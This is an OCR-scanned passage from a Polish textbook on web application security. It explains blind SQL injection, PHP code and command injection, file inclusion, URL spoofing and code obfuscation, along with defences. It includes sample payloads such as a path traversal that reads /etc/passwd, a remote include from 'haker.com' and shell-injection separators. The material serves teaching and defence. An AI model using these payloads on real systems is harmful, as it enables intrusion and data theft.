wykonania zapytania sprawdzajgcego czas odpowiedzi serwera bedzie dtuzszy niz
w przypadku niepoprawnego. Badajgc czas, mozna zatem tatwo odfiltrowac zapytania

poprawne.

Listing 4.16. Uzycie funkcji benchmarkowej w instrukcji IF

IF ({testowane zapytanie}, BENCHMARK (1000000000, TRUE), 1);

Zrédfo: opracowanie wtasne

Techniki slepego wstrzykniecia SQL sg skuteczne, lecz czasochtonne, poniewaz
na kazdy bit informacji przypada jedno zapytanie. Mozliwe jest zastosowanie dobrze
znanych technik optymalizacyjnych w celu przyspieszenia Blind Injection. Sa to:

e Metoda bisekcji - sprawdza sie w poszukiwaniu liczb. Jezeli z gory znana jest
dtugos¢ pola typu numerycznego np. INT (10), znany jest gorny i dolny przedziat
wartosci, na podstawie ktorego mozna wyliczy¢ podziat bisekcji. Technika jest
skuteczna réwniez w przypadku utamkoéw (wartosci za i po przecinku nalezy
rozpatrywaé¢ oddzielnie) oraz poszukiwania znakéw w systemie ASCII (kod znaku
traktowany jest jako poszukiwania liczba w zbiorze wartosci kodow ASCII).

e Porownanie w oparciu o stownik — jezeli znany jest uzyty zestaw znakéw —
np. znaki, reprezentujgce nazwe ulic w Polsce: A-Z,2,7Z,C,N,A,S t,0,E,(spacja),-,
a na sumy kontrolne MD5 sktadajg sie znaki: 0-9a-f.

Nalezy zwrdci¢ uwage na fakt, ze technike Blind Injection mozna zastosowac
w miejscach, ktére pozornie sg dla hakera mato atrakcyjne — np. w skrypcie
odpowiedzialnym za zabieranie informacji statystycznych (typowy magazyn
pochtaniajgcy). Taki komponent przyjmuje jako argument rézne dane, ale nie zwraca
zadnej informaciji, wiec na pierwszy rzut oka moze nie postuzy¢ wydobyciu zadnych
informacii. Slepe ataki SQL udowadniajg, ze jest niestety inaczej.

Przyktad udanego ataku Blind Injection przedstawia rysunek 4.12.
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Rys. 4.12. Witryna podatna na wykonanie ataku Blind Injeciton

Zrédfo: opracowanie wiasne

Ochrona przed atakami SQL Injection

Wszystkie przedstawione techniki ataku z rodziny SQL Injection podlegajg
uniwersalnym technikom obrony polegajgcym na skrupulatnym filtrowaniu
i walidowaniu danych wejsciowych aplikacji. Procesy te mogg odbywac¢ sie na ré6znych
warstwach stosu technologicznego (zabezpieczenie programowe):

e poziom serwera HTTP,

e poziom aplikacji,

e poziom serwera bazy danych.

Istniejg takze zabezpieczenia sprzetowe typu IPS (ang. Intrusion Prevention
System) w postaci dedykowanych urzadzen filtrujgcych ruch sieciowy na podstawie
obecnosci wrogich parametrow (takich jak wyrazenia testujgce podatnos¢ na
wstrzykniecia SQL).

W przypadku checi skorzystania z zabezpieczenia na poziomie serwera HTTP
z pomocyg przychodzi modut mod security dedykowany dla serwera Apache.

Zasada dziatania tego komponentu zostata opisana w rozdziale 2 i polega na
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odrzucaniu zgdan zawierajgcych podejrzane parametry oraz blokowaniu transmisji
danych wynikowych na podstawie wzorca (np. komunikatu btedu bazy danych). Taki
rodzaj zabezpieczen wykorzystuje mechanizm czarnej listy, dlatego tez odradza sie
przyjmowanie go za czynnik gwarantujgcy bezpieczenstwo. Z uwagi na opisane
tozsamosci semantyczne nie sposéb jest przygotowaC czarnej listy zawierajgcej
wszystkie mozliwe wyrazenia reprezentujgce wrogi kod. Z drugiej za$ strony ochrona
na poziomie serwera HTTP moze okazaé sie krytyczna w momencie, kiedy
zabezpieczenia na innych poziomach zostang przetamane (np. blokada wystania
komunikatu bfedu). Zabezpieczenie to lezy w gestii administratora serwera HTTP
i wymaga dostepnosci odpowiednich modutéw serwera HTPP.

Drugim i najbardziej istotnym poziomem ochrony jest sam kod Zrodtowy aplikaciji
internetowej, o ktérego poprawnos¢ winni zadba¢ programisci. Rzeczywisto$é
pokazuje jednak, ze wiekszos¢ atakdw SQL Injection nawet na duze korporacyjne
serwisy i portale spowodowana jest lukami wilasnie na poziomie kodu aplikacji.
Podobnie jak w przypadku obrony przed atakami typu XSS, podstawowym
zabezpieczeniem w przypadku wstrzyknie¢ kodu SQL jest skrupulatna walidacja
i filtracja wszystkich punktéw wejscia aplikacji, ktére w jakikolwiek sposéb narazone sg
na kontakt z bazg danych (np. WHERE, ORDER BY, HAVING, SET itp.). Pierwszy
z etapéw to kontrola dtugosci wprowadzanych danych i ich ewentualne przyciecie ze
znakow biatych na poczatku i koncu. Nastepnie do wyboru jest jedna z dwéch metod
zabezpieczenia znakow specjalnych:

e uzycie funkcji ucieczki (ang. Escape),

e uzycie uprzednio przygotowanej sktadni (ang. Prepared Statement) i separacja

danych od zapytania,

e uzycie procedur skladowanych w bazie danych.

W pierwszym przypadku zagrozenie jest szczegdlnie duze, poniewaz wielu
programistow stosuje popularng w PHP funkcje addslashes (), ktéra dla srodowiska
MySQL dziata akurat wlasciwie, lecz w innych systemach bazodanowych wprowadza
powazng luke bezpieczenstwa. Funkcja ta zgodnie z opisem poprzedzi odwréconym
ukosnikiem (\) nastepujgce znaki: ',"\,$,\x0(NULL) (Allen, 2002). W przypadku innych

serweréw baz danych, pozadany format danych wejsciowych jest catkiem inny. Nalezy
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zawsze korzysta¢ z kontekstowych funkcji ucieczki w zaleznosci od $rodowiska
bazodanowego. Tabela 4.13 przedstawia, rozne funkcje ucieczki w zaleznosci od typu
Srodowiska (serwera i dostepu).

Tabela 4.13. Rézne przyktady funkcji ucieczki w zalezno$ci od Srodowiska

Srodowisko Funkcja/metoda w PHP to 'apostrofy'
PDO PDO: :quote () (w zaleznoéci od SZBD)
MySQL mysqgl real escape string() |[to \'apostrofy\'
MySQLi mysqli_real escape_string() |[to \'apostrofy\'

Oracle brak - uzy¢ str replace() ''apostrofy''
SQLite sqlite escape sting ''apostrofy''
MSSQL brak - uzyé str replace() ''apostrofy''
PostgreSQL pg_escape string ''apostrofy''

Zrédfo: (Kotowicz, 2010)

Niestety nawet kontekstowa funkcja ucieczki nie rozwigzuje problemu w sposoéb
uniwersalny. Sprawdza sie ona w wiekszosci standardow kodowania, lecz nie we
wszystkich. Podatne sg azjatyckie systemy kodowania takie jak: GBK, EUC-KR czy
SJIS. Problem polega na tym, ze systemy te zezwalajg na wystgpienie znaku \ w 2, 3,
4 itd. pozycji w wielobajcie. Parser PHP btednie interpretuje takie kodowanie
umozliwiajgc dokonanie wstrzykniecia wrogiego kodu. Na szczescie w europejskich
systemach kodowania oraz w najpopularniejszym UTF-8 kontekstowe funkcje ucieczki
dziatajg poprawnie.

Druga z metod (rekomendowana przez tworcow jezyka PHP), polega na
oddzieleniu zapytania SQL od danych uzytkownika, a proces ich potaczenia realizuje
automatycznie we wiasnym zakresie eliminujgc tym samym mozliwos¢ ludzkiej

pomytki w implementacji. Przyktady zastosowan przedstawia listing 4.17.
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Listing 4.17. Uzycie Prepared Statement jako ochrony przed SQL Injection

# uzycie w Zend Framework - warstwa abstrakcii

Sselect = $db->select();
Sselect->from("registry")->where ("value > ?", $ GET['value'l);
Sdata = $db->fetchAll (Sselect);

# uzycie w CodelIgniter - warstwa abstrakcji

Sthis->db->select ("$nazwapola");

Sthis->db->from('firm');

$this->db->where ('NR _FIRM', $this->session->userdata ('gracz nr'));
Sthis->db->1imit ($1limit, $start);

Squery = S$Sthis->db->get();
Sresult=Squery->result () ;

Zrédfo: opracowanie wtasne

Ostatni — programowy — sposob obrony przed SQL Injection polega na
stosowaniu procedur sktadowanych zapisywanych w bazie danych. Zamiast uzycia
tradycyjnych zapytan w kodzie aplikacji wszystkie polecenia SQL przetrzymywane sg
jako obiekt bazy danych. Rozwigzanie takie polega na przeniesieniu czesci logiki
biznesowej aplikacji na serwer bazy danych. Procedury sktadowane przyjmujg trzy
rodzaje parametrow, ktore stuzg przekazywaniu informac;ji:

e IN - parametr wejSciowy — procedura tylko odczytuje jego wartos¢,

e OUT - parametr wyj$ciowy — procedura zapisuje do niego dane,

e INOUT - parametr mieszany — procedura moze zapisa¢ i odczytac jego wartosc.
Wszystkie parametry przekazywane do procedur podlegajg Scistej kontroli typow
zgodnej ze s$rodowiskiem bazy danych. W przypadku MySQL jest to np. INT,
VARCHAR, TEXT, DATE. W przypadku przekazania do bazy danych nieprawidtowego
typu zostanie wygenerowany btgd. Prawidlowo zaimplementowane procedury
sktadowane uzywajg parametrow wejsciowych jak zmiennych w kodzie SQL. Oznacza
to, ze nie ma mozliwosci dokonania wstrzykniecia kodu przez parametr wejsciowy.
Przyktad takiej procedury przedstawia listing 4.18.

Poprawnie zaimplementowane procedury skiadowane sg bardzo skuteczng
metodg obrony przed wstrzyknieciami kodu SQL, lecz charakteryzuje je pracochtonny
proces przygotowania. Dodatkowo, w zaleznosci od serwera bazy danych, mozliwe

jest Sciste kontrolowanie praw dostepu do procedury, co dodatkowo zwieksza
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bezpieczenstwo. Opierajgc wszystkie operacje SQL na procedurach sktadowanych,
programisci niwelujg koniecznos¢ operacji DML w kodzie aplikacji, przez co mozna je
catkowicie wytgczy¢ i zezwoli¢ jedynie na uzycie procedur sktadowanych. Wada
takiego rozwigzania jest szczgtkowe wsparcie frameworkow tej metody i fakt, ze Zle

zaimplementowane stanowig dodatkowe zrédito zagrozenia.

Listing 4.18. Procedura sktadowana jako zabezpieczenie przed SQL Injection

DELIMITER $$
CREATE PROCEDURE ‘proc” (IN param VARCHAR(40))
BEGIN
DECLARE a CHAR(40);
SET a = CONCAT('%', param, 'S$');
SELECT * FROM articles WHERE articleititle LIKE a;
ENDS$
DELIMITER ;

Zrédfo: (Kotowicz, 2010)

4.5. WPROWADZENIE KODU SKRYPTU

Kod aplikacji PHP réwniez podlega zagrozeniu wstrzykniecia ztosliwych polecenh. Jest
to bardzo powazne zagrozenie, poniewaz w wypadku powodzenia umozZliwia to
agresorowi wykonanie dowolnego kodu oraz polecen systemu operacyjnego badz tez

programéw zewnetrznych.

Ingerencja w kod skryptu PHP

Jezyk skryptowy PHP posiada w swej architekturze mozliwos¢ dynamicznego
tworzenia kodu (tabele 4.14 i 4.15). Daje to dos¢ spore mozliwosci ingerencji w kod

wykonywalny aplikacji.
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Tabela 4.14. Rézne sposoby wykonania dynamicznego kodu

Kod aplikac;ji Zagrozenie
$myvar = "varname"; Funkcja eval () traktuje swoj argument jako
$x = $ GET['arg']; kod, ktory nalezy wykonad.

// $x = '1l; touch("plik™)';
eval ("\Smyvar = \$x;");

preg replace("/$old/e", S$new, Funkcja dokonuje zmiany na podstawie

$str) wyrazenia regularnego. Z modyfikatorem /e
traktuje ona nowg postaé fancucha znakéw jako
kod PHP, ktéry nalezy wykonac.

call user func($fnc, S$arg, ...) Funkcja wykona funkcje uzytkownika
call user_func_array ($fnc, S$Sargs) |przekazang w argumencie $fnc

create function($fnc, $code) Dynamicznie tworzy funkcje uzytkownika na
bazie przekazanego kodu.

$fnc () Wykona funkcje reprezentowang przez wartosé
zmiennej $fnc. Metoda szczegdlnie
niebezpieczna przy wtgczonym register
global.

Zrédfo: opracowanie wtasne

W przypadku braku koniecznosci uzywania funkcji z tabel 4.14 i 4.15 nalezy
wylgczyC je poprzez wpisanie na liste funkcji zablokowanych. Opis odpowiedniej
konfiguracji PHP opisano w rozdziale 2. Jezeli istnieje jednak koniecznos¢ uzycia
funkcji/sktadni wykonujgcej dynamiczny kod oparty na parametrze uzytkownika,
stosowac nalezy biatg liste mozliwych wartosci, by ograniczy¢ mozliwosc¢ infekgji kodu
groznymi poleceniami. Stanowczo odradza sie implementacje aplikacji zezwalajgcych
na wykonywanie dynamicznego kodu pochodzgcego od uzytkownika. Poza przyczy-

nami ochrony, funkcje tworzenia dynamicznego kodu charakteryzujg staba wydajnosc.

Wykonanie polecenia zewnetrznego

Dostepne sg rowniez funkcje i operatory wykonujgce polecenia systemowe i urucha-
miajgce programy zewnetrzne (tabela 4.15). Wszystkie zewnetrzne polecenia
i programy wykonywane sg na prawach wtasciciela serwera HTTP. Oznacza to, ze
dobrg praktykg jest ustawi¢ takiemu wiascicielowi prawa niezbedne do obstugi

aplikacji internetowej, tak by nie miat mozliwosci modyfikacji np. plikéw systemowych.
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Tabela 4.15. Funkcje i operatory umoZzliwiajgce wykonanie polecenia systemowego

Kod aplikacji Zagrozenie
“komenda® Operator i funkcja wywolujgce polecenie zewnetrzne.
shell exec()
exec (), Wykonanie programu zewnetrznego.
system(),
passthru(),

proc_open ()

Zrédfo: opracowanie wtasne

Jezeli program wymaga stosowania komend lub programéw zewnetrznych,
nalezy podjg¢ odpowiednie srodku bezpieczenstwa. Wymagane jest stosowanie
specjalnych instrukcji, ktére spowodujg ze przekazany przez uzytkownika cigg znakow
zostanie specjalnie zmodyfikowany. Istnieja dwie funkcje odpowiedzialne za
odpowiednig konwersje tancuchow znakdéw:

e escapeshellcmd () — funkcja ucieczki dla polecen systemowych,
e escapeshellarg() — funkcja ucieczki dla argumentdw polecen systemowych —

przyktad uzycia zawiera listing 4.19.

Listing 4.18. Uzycie funkcji ucieczki w kontekscie programéw zewnetrznych

# pozostawienie niezabezpieczonego wejscia
Susername = $ GET['username'];

# uzycie funkcji ucieczki w celu zabezpieczenia
Susername = escapeshellarg($ GET['username']);
passthru (“/home/user/phpguru/funnytext Susername”) ;

Zrédfo: opracowanie wtasne

Tabela 4.16 prezentuje, w jaki sposéb mozna =zatrué punkt wejscia do
niezabezpieczonej aplikacji z mozliwoscig uruchamiania polecen lub programéw

zewnetrznych by wykona¢ pozgdang komende.
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Tabela 4.16. Przyktadowe sposoby zatrucia polecenia systemowego

Skiadnia Rezultat
“komenda® Wykona komende komenda.
$ (komenda)
; komenda Wykona komende komenda i wyswietli wynik.
| komenda
&& komenda
| | komenda
> /home/user/phpguru/.bashrc Nadpisze plik .bashrc.
< /home/user/phpguru/.bashrc Wysle plik .bashrc do wykonywanego
programu.

Zrédfo: opracowanie wtasne

4.6. MANIPULACJA DANYMI PRZESYLANYMI

Rozdziat ten poswiecony jest roznego rodzaju atakom, ktore nie mogg zostac
zakwalifikowane nigdzie indziej, a dotyczg rowniez wykonania wrogiego kodu

przekazanego przez uzytkownika.

Local File Inclusion i Remote File Inclusion

Wiele aplikacji dziata w oparciu mechanizm szablonu, ktory wypetniany jest danymi
przechowywanymi w pliku tekstowym. Wskazania takiego pliku dokonuje sie przy
pomocy parametru pochodzgcego od uzytkownika. Parametr taki podlega fatwej
manipulacji przez uzytkownika, np. poprzez wskazanie innego pliku niz zamierzony,
w celu uzyskania dostepu do informacji chronionych.

Obydwa typy tytutowych atakéw sg do siebie zblizone i r6znig sie tylko lokalizacjg
zasobu, ktéry napastnik chce sie odczytac:
e [Local File Inclusion — odczyt i wykonanie pliku z lokalnego systemu plikow,

e Remote File Inclusion — odczyt i wykonanie pliku ze zdalnego serwera.

W drugim przypadku zatozyé mozna, Zze atakujgcy ma dostep do zdalnego
serwera i moze wgra¢ na niego dowolny plik uzyty w przyszlym ataku. Czesto

warunkiem sprzyjajgcym wykonaniu zdalnego kodu jest ustawienie opcji
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konfiguracyjnej allow url include na On (domyslnie ta opcja jest wytgczona).
Umozliwia ona pobieranie i wykonywanie plikéw zdalnych przez funkcje takie jak:

e include(),

e include once(),

e require(),

e require once().

Funkcje te przetwarzajg wskazanie pliki jako petnoprawny kod PHP. Oznacza to, ze
wszelkie polecenia w zawarte w nich miedzy znacznikami <? lub <?php zostang
poddane dziataniu parsera PHP, a nastepnie wykonane. Umozliwia to wykonanie
kodu, innego niz ten przewidziany przez programiste. Agresor moze dokonac¢ ataku na
kilka sposobdw, a mianowicie poprzez:

e wykonanie kodu innego pliku w obrebie zbioru plikow Zzrédtowych aplikadji,

e wgranie na serwer wlasnego plik zawierajgcego znaczniki PHP i jego wykonanie,

e wskazanie do wykonania pliku z obcej lokalizacji, ktérego zawartosé kontroluje.

Listing 4.19. Instrukcje wykazujgce podatno$c na ataki File Inlusion

include ($_GET['page']);
include ("/sites/".$ GET['page']l);
include ("/sites/".$ GET['page'].".php");

Zrédfo: opracowanie wtasne

Przedstawiony na listingu 4.19 kod jest powodem luki bezpieczenstwa. We
wszystkich trzech przypadkach atakujgcy moze postuzyé roznego rodzaju Sciezkami
systemu operacyjnego w celu wskazania pliku do wykonania. Technike tg nazywa sie
podrézowaniem po katalogach (ang. Directory Traversal) i sktadajg sie na nig rézne
sposoby modyfikacji $ciezki np. przez powielanie ciggu ../ odpowiedzialnego za
przechodzenie do katalogu nadrzednego.

Pierwsza i druga linijka umozliwia zatadowanie dowolnego pliku, do ktorego
dostep posiada witadciciel serwera HTTP. Przyktadowo, przekazanie do serwera
parametru w zadaniu w postaci ?page=/etc/passwd (dla pierwszej linijki) lub
?page=../../../../../../etc/passwd (dla drugiej linijki) spowoduje

wykonanie pliku systemowego.
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Trzecia linjjka kodu wydaje by¢ sie bardziej bezpieczna, poniewaz do
przekazanego parametru doklejone zostaje rozszerzenie .php pozornie
uniemozliwiajgce wskazanie dowolnego pliku. Utrudnienie to mozliwe jest do obejscia
na co najmniej cztery sposoby (w zaleznosci od srodowiska):

e Uzycie terminatora, czyli bajtu zerowego (ang. Poison Null Byte) w celu
zakomunikowaniu systemowi UNIX kohca tancucha znakéw. Parametr wejsciowy
powinien przyjg¢ wartos¢: ?page=../../../../../../etc/passwd%00 —
znak %00 odpowiada za przekazanie bajtu zerowego. Luka ta istnieje do PHP
wersji 5.3.4.

e W systemach UNIX standardowa dtugo$¢ Sciezki to 4096 bajty. Niektére wersje
Srodowiska PHP dziatajgce w tym systemie podatne sg na na atak polegajgcy na
spreparowaniu sciezki tak dtugiej, ze przekroczona zostanie liczba 4096 bajtow,
a naddatek informacji (np. rozszerzenie .php dotgczone przez skrypt) zostanie
zignorowanie [49]. Cigg ?page=../../../../../../etc/passwd/.[2048
powtérzen] /. spowoduje przepetnienie bufora i odczyt pliku passwd.

e Jezeli agresor posiada dostep do hosting wspotdzielonego (ang. Shard Hosting) to
moze wskazac Sciezke do konta i pliku ktéry wykona sie w kontekscie programu
ofiary np: ?page=../../../../home/konto_hackera/atak. Taka do takiej
Sciezki dodane zostanie rozszerzenie .php tworzac finalnie $ciezke:
/home/konto_hackera/atak.php, ktora zawiera wrogie instrukcje.

e W przypadku wigczonej opcji przetwarzania kodu zdalnego, mozna podac
zewnetrzny adres kodu w sposéb analogiczny do wczesniejszego przyktadu:
page=http://haker.com/atak. Jezeli doklejane rozszerzenie jest inne niz
.php (i nie wiadomo jakie ono jest), uzy¢ nalezy znaku zapytania
page=http://haker.com/atak.php?, ktéry sprawi, ze cokolwiek zostanie

dotgczone do adresu, nie bedzie mie¢ znaczenia na jego poprawnosc.

Nalezy ostroznie korzysta¢ z funkcji przetwarzania danych, poniewaz uzyte
niewlasciwie stanowig powazng luke bezpieczenstwa. Niekiedy agresor nie ma
mozliwos¢ wptyngé na wskazang lokalizacje pliku z wrogim kodem, ale moze taki plik

wgrac i sprobowac skorzysta¢ ze Zle zaimplementowanych rozwigzan. Przedstawiony
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na listingu 4.20 kod ma za zadanie wysta¢ do przegladarki uzytkownika obraz JPG
w przypadku, kiedy uzytkownik ten jest zalogowany. Za wgranie pliku na serwer
odpowiada tez uzytkownik. Zastosowanie takiego rozwigzania w aplikacji stanowi

powazng luke bezpieczenstwa.

Listing 4.20. Proste wystanie pliku jpg do przeglgdarki pod warunkiem uwierzytelnienia

if (zalogowany () ) include ($plikijpg) ;

Zrédfo: opracowanie wtasne

Teoretycznie kod z listingu 4.20 nie powinien wykona¢ Zzadnych niewskazanych
instrukcji. Plik przekazany funkcji include () jest bowiem prawidtowym plikiem JPG
sprawdzony wczesniej przez funkcje getimagesize () lub inng opartg na zawartosci
wgranego pliku. Obrazek posiada rozszerzenie .jpg, ktére nie jest rozpoznawane
przez parser jako plik wykonywalny. Zostanie on odczytany i wystany do przegladarki.
Wszystko wydawac by sie mogto pozbawione jest elementu ryzyka. Atakujgcy moze
jednak wgra¢ odpowiednio spreparowany plik. Obrazy JPG posiadajg tzw. EXIF, czyli
zestaw metadanych opisujgcych zawarto$¢ pliku. Agresor moze dodacé wiasny
znacznik, ktérego wartoscig bedzie wykonywalny kod PHP. Obraz poddany
przetwarzaniu jest nosnikiem wrogiego kodu i stanowi rodzaj "konia trojanskiego".
Technika moze byc¢ réwnie dobrze uzyta w innych plikach binarnych, np. MP3.

Do innej grupy zagrozonych operacji nalezg funkcje wytgcznie odczytujace
zawartos¢ pliku. Ich dziatanie nie przewiduje przetworzenia plikéw jako
wykonywalnych. Dajg one jednak sposobno$¢ do wyswietlenia plikow Zrodtowych
w ich oryginalnej (nieprzetworzonej) formie. W ten sposéb uzyska¢ mozna dostep do
kodu aplikacji oraz poufnych danych (np. hasta do bazy danych). Ponizsze funkcje
mogqg zostac uzyte w celu wyswietlenia zawartosci plikéw:

e readfile(),
o file(),
e file get contents(),

e fopen().



124 Wspéiczesne Technologie Informatyczne. Zagrozenia i ochrona aplikacji internetowych

Uniwersalng ochrong dla atakéw typu File Inclusion jest stosowanie biatych list
pozgdanych wartosci parametru uzytkownika. Jezeli nie ma takiej mozliwosci
(np. dynamicznie modyfikowany zbiér plikow), nalezy podja¢ dziatania redukujgce
ryzyko wskazania niepozgdanego pliku. Rozsgdnym rozwigzaniem jest zastosowanie
filtracji opartej o bazowg nazwe pliku oraz czarng liste znakéw nie moggcych zawierac
sie w nazwie. Finalnie nastepuje sprawdzenie istnienia pliku. Peten kod prezentuje
listing 4.21.

Listing 4.21. Mechanizm ochrony przed atakami File Inclusion

$in = $ GET['in'];

$in = Dbasename ($in);

$in = preg replace("/["a-z"0-9]/i", "", $in);
$in = "inc/".$in.".php";

if (file exists($in))
include ($in) ;

Zrédfo: opracowanie wtasne
Manipulacja postaciami adresu oraz otwarte przekierowanie

Adres URI zbudowany jest z wielu elementow sktadowych (URI, 2014). Wszystkie
z nich sg zasadniczo opcjonalne, a adres moze nawet przyjmowac posta¢ pustego
ciggu znakéw: "". Zroznicowana forma elementéw sktadowych umozliwia rézne
wariacje adresu URI, ktére mogg takze postuzyé wprowadzeniu w btgd uzytkownika.
Dla protokotu HTTP (i HTTPS) skifadnia zbiorcza adresu URI prezentowana na przez

listingu 4.22, a opis poszczegolnych elementow zawiera sie w tabeli 4.17.

Listing 4.22. Schemat adresu URI dla protokofu HTTP(S)

[protokdt:// [uzytkownik[:hasto]@]host[:port]][Sciezka
dostepu] [?zapytanie] [#fragment dokumentu]

Zrédio: (URI, 2014)
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Tabela 4.17. Opis sktadnikow URI

Sktadnik Opis
protokdt Sposob dostepu do zasobu (http lub https)
uzytkownik Nazwa uzytkownika
hasto Hasto uzytkownika
host Nazwa domeny lub adres numeryczny
$ciezka dostepu Sciezka katalogu
zapytanie Parametry GET
fragment dokumentu Interesujgcy fragment dokumentu

Zrédio: (URI, 2014)

Do 32. bitowych adresow IP sg przypisane nazwy domen. Za pomocg polecen
takich jak ping mozna pobraé adres hosta. Przyktadowo dla domeny ing.pl bedzie to
193.201.34.35. Przegladarki rozumiejg takze te numery w postaci dziesietnej. Aby
przettumaczy¢ adres IP jedng liczbe dziesietng nalezy uzy¢ nastepujgcego algorytmu:

e kazdy sktadnik IP przekonwertowaé do postaci heksadecymalnej, przyktadowo:

e 193 = C1,
« 201 = C9,
e 32 = 22,
e 35 = 23,

o heksadecymalne zigczenie sktadnikow zmieni¢ na postaé dziesietng
C1lC92223=3251184163.

Posiadajgc posta¢ dziesietng, adres witryny =zapisaé mozna w postaci:
http://3251184163. Dodatkowo mozna doda¢ skiadowg uzytkownik (zwykle
ignorowane przez aplikacje internetowe) i $ciezke odpowiadajgca za odpowiedni
zasob. Finalnie adres uzyskac mozna nastepujgca forme:
http://pko.pl@3251184163/male-firmy. Mylny adres sugeruje adres banku
PKO, lecz na prawde prowadzi do banku ING. Analogicznie mozna uzy¢ dowolnych
adreséw serwerdow i nazw w celu oszustwa potencjalnej ofiary. Agresor moze
ukierunkowaé uzytkownika na adres strony lustrzanej, ktérg spreparowat w celu
wytudzenia loginu i hasta.
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Niestety, obrona przed takimi przektamaniami uzalezniona jest w duzym stopniu
od samych uzytkownikéw. Serwisy internetowe mogg informowa¢ o koniecznosci
sprawdzenia, czy adres w przegladarce jest identyczny z wymaganym wzorcem oraz
czy protokot jest wiasciwy (np. HTTPS). W ten sposob probuje budowaé sie
Swiadomos¢ bezpieczenstwa 0sob korzystajgcych z aplikacji — rysunek 4.13.

(o[ ]
| V2 Pekao24 - Bankowosc elel x |
« - C | Bank Polska Kasa Opieki SA [PL]|https://www.pekac124.pl Ay =
Serwis kart prepaid *
Pierwsze kroki .
Logowanie
o Informacije ogdlne
Numer klienta [?]
@ Zatoz konto I -
@ Aktywuj Pekao24
»Wykaz funkcji serwisow > Przewodnik po Pekao24
Aktualnosci _ o _
pekan2s: Pobierz aplikacje mobilng Pekao24 >

02.07.2014
‘Wakacje z aplikacja mobilnz Pekao24 -
przelewy bez optat do korica sierpnia L

Bezpieczenstwo

07.02.2014
Bankowosc< mobilna Banku Pekao S.A
najlepsza w rankingu Money.pl

» Sprawdz przed zalogowaniem, czy widzisz hitps w adresie strony i potaczenie jest
szyfrowane.
Pekao24Makler:

28.07.2014

Zmiana Regulaminu $wiadczenia usiug
maklerskich przez Dom Maklerski Pekao
od dnia 8.09.2014 r.

» Pamietaj, Ze podczas kontaktdw telefonicznych Bank nigdy nie prosi o podanie numer
FIN i hasta do Pekao24.

» Zapoznaj sie Z najnowszym numerem Biuletynu Bezpieczny Internet.

Ostrzegamy przed niebezpiecznymi wiadomosciami e-mail zawierajgcymi linki

4] | 3

Rys. 4.13. Budowanie $wiadomoSsci uzytkownika aplikacji internetowej

Zrédfo: opracowanie wiasne

Manipulacja adresami moze przybra¢ inng forme. Niekiedy jeden z parametrow
GET stanowi adres URI, na ktory uzytkownik zostanie przeniesiony po dokonaniu
danej czynnosci (np. napisania komentarza lub po zalogowaniu sie). Nazwa ataku na
skrypt, ktory przenosi uzytkownika do innej strony na podstawie parametru
wejsciowego nosi nazwe otwarte przekierowanie (ang. Open Redirect). Moze by¢ on
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wykorzystany do atakéw XRF, phishing lub przenosi¢ po prostu do witryny ktora
infekuje ztosliwym oprogramowaniem.

Zabezpieczenie przed takim rodzajem agresji na aplikacje stanowi postuzenie sie
wzorcem, ktéry powinien by¢ tozsamy z adresem przekierowania. W przeciwnym
wypadku przekierowanie nie powinno zachodzi¢. Innym sposobem jest zapis takiego

adresu w sesji uzytkownika celem uniemozliwienia recznej modyfikacji.
Zaciemnienie kodu

Hakerzy w celu utrudnienia identyfikacji ich wrogiego kodu stosujg rézne techniki
majgce na celu jego ukrycie lub znieksztatcenie. Informacje w takiej postaci
zrozumiate sg dla komputera, ale juz nie dla cztowieka (Hoffman, 2009). Zaciemniania
(obfuskaciji) dokonuje sie wykorzystaniem réznych technik. Mogg to by¢ tozsamosci
semantyczne, funkcje kodujace i dekodujgce czy zapis kodu w zakamuflowanej
postaci. W praktyce kazdy zaciemniony kod mozna doprowadzi¢ do wersji zrozumiatej
dla cziowieka, jednak czesto jest to pracochtonne i wymaga zastosowania inzynierii
wstecznej oraz posiadania odpowiednich umiejetnosci (Hoffman, 2009).

Nie nalezy myli¢ zaciemnienia kodu z szyfrowaniem — zaciemnianie sprawia, ze
kod jest niezrozumiaty dla czlowieka, ale dla maszyny tak. Szyfrowanie natomiast
sprawia, ze dane przeksztatcane sg z postaci jawnej do postaci tajnej (szyfrogramu),
ktéry bez odpowiedniego klucza i algorytmu jest niezrozumiaty, zaréwno dla maszyn,
jak i ludzi.

Jeden ze sposobéw zaciemnienia jezyka JavaScript oparty jest o specjalng
technike zwang Whitespace. Dane zapisane przy jej pomocy reprezentujg strumien
bitowy pod postacig spacji, tabulatoréw i znaku nowej linii oznaczajgcego koniec
programu. Umieszczenie takiego zestaw znakéw w stronie sprawia, ze wyglada ona
niepozornie i nie wzbudza na pierwszy rzut oka zagrozenia. Przegladarki internetowe
bowiem ignorujg znaki biate i komentarze przez co nie interpretujg zagniezdzonego
i zaciemnionego kodu. Kod moze wyglgdac tak jak na listingu 4.23 a w rzeczywistosci
zawierac dane jak na rysunku 4.14.
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Listing 4.23. Uzycie zakamuflowanego kodu w skrypcie

// copyright

// (c) 2010

var html = document.body.innerHTML;

var start = html.indexOf('// '"+'copy'+'right');
var end = html.indexOf ('// '+'(c) '+'2011');
var code html.substring(start+13, end);

eval (dehydrate (code)) ;

Zrédfo: (Hoffman, 2009)

// copyright

// (© 2010
spacja tabulacja nowa linia

Rys. 4.14. Graficzna reprezentacja zakamuflowanego kodu z listingu 4.23

Zrédfo: opracowanie wtasne

Druga linia kodu listingu 4.23 jest pozornie pusta (i tak widoczna w oknie
przegladarki), a faktycznie jest to ukryty strumien bitowy reprezentujgcy wrogi kod
(rysunek 4.14). Nastepne instrukcje stuzg wydobyciu ukrytego kodu, a finalnie jego
doprowadzenie do czytelnej postaci i wykonania.

Inny sposob zaciemnienia polega na wykorzystaniu dostepnych w roznych
architekturach tozsamosci semantycznych, zmianie nazewnictwa oraz modyfikacji
instrukcji sterujgcych. Tak zmodyfikowany kod nie potrzebuje specjalnych funkcji do
jego przeksztatcenia i od razu ma postaé wykonywalng. Przyktadowe techniki
zaciemnienia to:

e stosowanie funkcji anonimowych (nienazwanych),

e zmiana skfadni IF(A) B ELSE ChaA?B:C,

¢ modyfikacja nazw na niezrozumiate dla cztowieka (np. _, $),

e usuniecie komentarzy i znakéw biatych,

e zapis literatdw jako zlgczen znakéw wygenerowanych przez funkcje

String. fromCharCode (n),
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e zapis wszystkich literatéw i liczb w postaci odpowiedniej tablicy (var =
"alblc|2".split ("|")),

e ograniczenie liczby zmiennych i zastgpienie ich wyrazeniami.

Mechanizmy zaciemnia majg takze pozyteczne zastosowanie — pomagajg w kompres;ji

bezstratnej kodu (szybsze tadowanie witryn) oraz w ukryciu poufnego kodu -

np. w celu utrudnienia jego plagiatu. Przykladowe narzedzia do zaciemniania kodu to:

e YUl Compressor,
